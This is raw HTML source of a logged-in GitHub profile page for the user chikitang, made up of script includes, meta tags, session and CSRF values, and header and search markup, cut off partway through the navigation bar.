integrity="sha512-mszhDznUQJHnUG/R5PW8SVIpe08ysmzHfMNnUF9Nu2DlTQ2EI+vzUxDTJ1cUGPr1nRRvsed9bKe1IdZI+1Q4Rg==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-34e1f7-9acce10f39d4.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-w/t2D/KwutVIcNp5IDznla0td11er/0FLWMQBuZ4+ec53IQDBc4+CztZqlCj/RZ8XDkk/eiECEwiUjXv5UAJnQ==" src="https://github.githubassets.com/assets/behaviors-c3fb760ff2b0.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-O4QCEHjN5g9SG+Bqu36E7RCxy4hi2w3nyDWVsHwc/hUgAMsYntgibQcLNqSrar4T78Dnj0NZgM/C4FhFt8DIag==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-6e358f-3b84021078cd.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-tuRHxLY6eU4xuxKD8rm7GxWa0B337+gV5cSnivbY1FPmUo4zRUBCbKqs6kvuJsuGj2dg1uz4ajSLTrHDFeADUw==" src="https://github.githubassets.com/assets/notifications-global-b6e447c4b63a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-QdQXem5u6Zn5fejgHuEVa07Zdffi7rtk2HHG8DZHegrkzMgrrdC5d5spRsxjV/xGF3KSyl3B8FI7xXu77LG2TQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-1424532-41d4177a6e6e.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-fkqJogEq3qR42gMZhv5UupQvBdhPiQIIBomJsm5HYJ6ZzfJjDFdKWsWso3u5eKdEz6b8hhXFjUwnLnK6SkJdhA==" src="https://github.githubassets.com/assets/profile-7e4a89a2012a.js"></script> <title>Your Repositories</title> <meta name="request-id" content="FD00:0DFC:1DF0AC7:313D6B2:62A02226" data-pjax-transient="true" /><meta name="html-safe-nonce" content="980ec10d2da5b506cd46be36dd6e013e8bada887c7553a22c701573bbe482ab0" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9leHBsb3JlIiwicmVxdWVzdF9pZCI6IkZEMDA6MERGQzoxREYwQUM3OjMxM0Q2QjI6NjJBMDIyMjYiLCJ2aXNpdG9yX2lkIjoiNzQ5MzY1NDMzNjA2MzQxMjkzMSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9" data-pjax-transient="true" /><meta name="visitor-hmac" content="421e7a5a14726f1086d7a9de5370e75ce73e1595c8567ceca4fe9616e47623d9" data-pjax-transient="true" /> <meta name="github-keyboard-shortcuts" content="" data-pjax-transient="true" /> <meta name="selected-link" value="/chikitang" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /><meta name="octolytics-actor-id" content="107093285" /><meta name="octolytics-actor-login" content="chikitang" /><meta name="octolytics-actor-hash" content="1bbae79ef5b27d38ae2058bbe0b8e84e42ca017579fe6b91fb76d14b6a316195" /> <meta name="user-login" content="chikitang"> <meta name="viewport" content="width=device-width"> <meta name="description" content="chikitang has one repository available. Follow their code on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="chikitang - Repositories" /><meta name="twitter:description" content="chikitang has one repository available. Follow their code on GitHub." /> <meta property="og:image" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta property="og:image:alt" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="profile" /><meta property="og:title" content="chikitang - Repositories" /><meta property="og:url" content="https://github.com/chikitang" /><meta property="og:description" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="profile:username" content="chikitang" /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/107093285/ws?session=eyJ2IjoiVjMiLCJ1IjoxMDcwOTMyODUsInMiOjg5NTc1NzU0OCwiYyI6MTYzNjI1Mjg2NywidCI6MTY1NDY2MTY3M30=--c25c69ac641d7bef477abc2e101060da9d58d110fdab2b83c67104ea57cb74d1" data-refresh-url="/_alive" data-session-id="0f954fa662a2d554f181d0867897a8c903cfbb09b242250a287b6117e8fa2281"> <link rel="shared-web-socket-src" href="/assets-cdn/worker/socket-worker-b98ccfd9236e.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="hostname" content="github.com"> <meta name="keyboard-shortcuts-preference" content="all"> <script type="application/json" id="memex_keyboard_shortcuts_preference">"all"</script> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ZTEwZDA3YzMzN2IyY2I2ZjU1ZWFkZWNkYmNkM2RlNjAyNWQwYzUwODYwOGU5ODU2MDBjZDYzZjI4OGQ5OWQyOHx7InJlbW90ZV9hZGRyZXNzIjoiNzYuMTM1Ljk2LjIwNSIsInJlcXVlc3RfaWQiOiJGRDAwOjBERkM6MURGMEFDNzozMTNENkIyOjYyQTAyMjI2IiwidGltZXN0YW1wIjoxNjU0NjYxNjczLCJob3N0IjoiZ2l0aHViLmNvbSJ9"> <meta name="enabled-features" content="ACTIONS_CALLABLE_WORKFLOWS,PRESENCE_IDLE,RELEASE_PREV_TAG_PICKER"> <meta http-equiv="x-pjax-version" content="a37df167d895af7f9c4d1b90e97a54af1d17d291209210e78f815dbbd9a85bbc" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="485d6a5ccbb1eeae9c86b616b4870b531f6f458e8bd5c309c40280dc4f51defb" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="560bbf933d6879732c126fa7af06481a25d36e7da91d312b7f44915e69fcdbb9" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="3c347e3ecd4172f21f40b5f945958e9a8b15c3b5c962803de065de8ef0b29900" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview"></meta> <meta name="octolytics-dimension-user_id" content="107093285" /><meta name="octolytics-dimension-user_login" content="chikitang" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive page-profile mine" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a> <span data-view-component="true" class="progress-pjax-loader js-pjax-loader-bar Progress position-fixed width-full"> <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span> </span> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-vq9xa9mXhnKoPKegD98xDdz3z2QGmpBBTgEdXLjXQWpAHaNrJgMoKO/tWwQg3XrNHOMwbWccPo2ej0RASJ32Jw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-098f88-beaf716bd997.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-SqxGVVy+lvF/R0gsWdxjPTIX6BkspUwgKC7GkhrrpHDvTiiYveTazaMKVQ4ZsbyB8PpALQMJVu5FThgLLEa/qQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-a39d96-4aac46555cbe.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-+RY85fUZaREgYAhJOwiMFuEzzJ0MYIJJ/e3HrBLNx5mbTvOTWawq9+/XBdBy/omg01kYOA4my0k99ImePtihQQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-48ad9d-f9163ce5f519.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-MZKd5uKV0ZulPULi4Ci9ya+diAKnUgu9G0+cTix+XVo6BGYYtTfTaAmIKFNxFkAQKcOCHMJU7itIuu409PIlNg==" src="https://github.githubassets.com/assets/command-palette-31929de6e295.js"></script> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item d-md-none"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="Header-link js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path> </svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="User" data-scope-id="107093285" data-scoped-search-url="/users/chikitang/search" data-unscoped-search-url="/search" data-turbo="false" action="/users/chikitang/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="onaOjrBo6ohITGCajPS3asceXniJrPVtVg0W3PjGOVqghJTYE-qvcN961YI7OuNKFtGNfvjgTbQtKVQNyp1O1Q" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-fg-muted">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav id="global-nav" class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" data-turbo="false" href="/dashboard">Dashboard</a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-turbo="false" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-turbo="false" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues">Issues</a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-turbo="false" data-selected-links=" /marketplace" href="/marketplace">Marketplace</a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:explore" data-turbo="false" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code 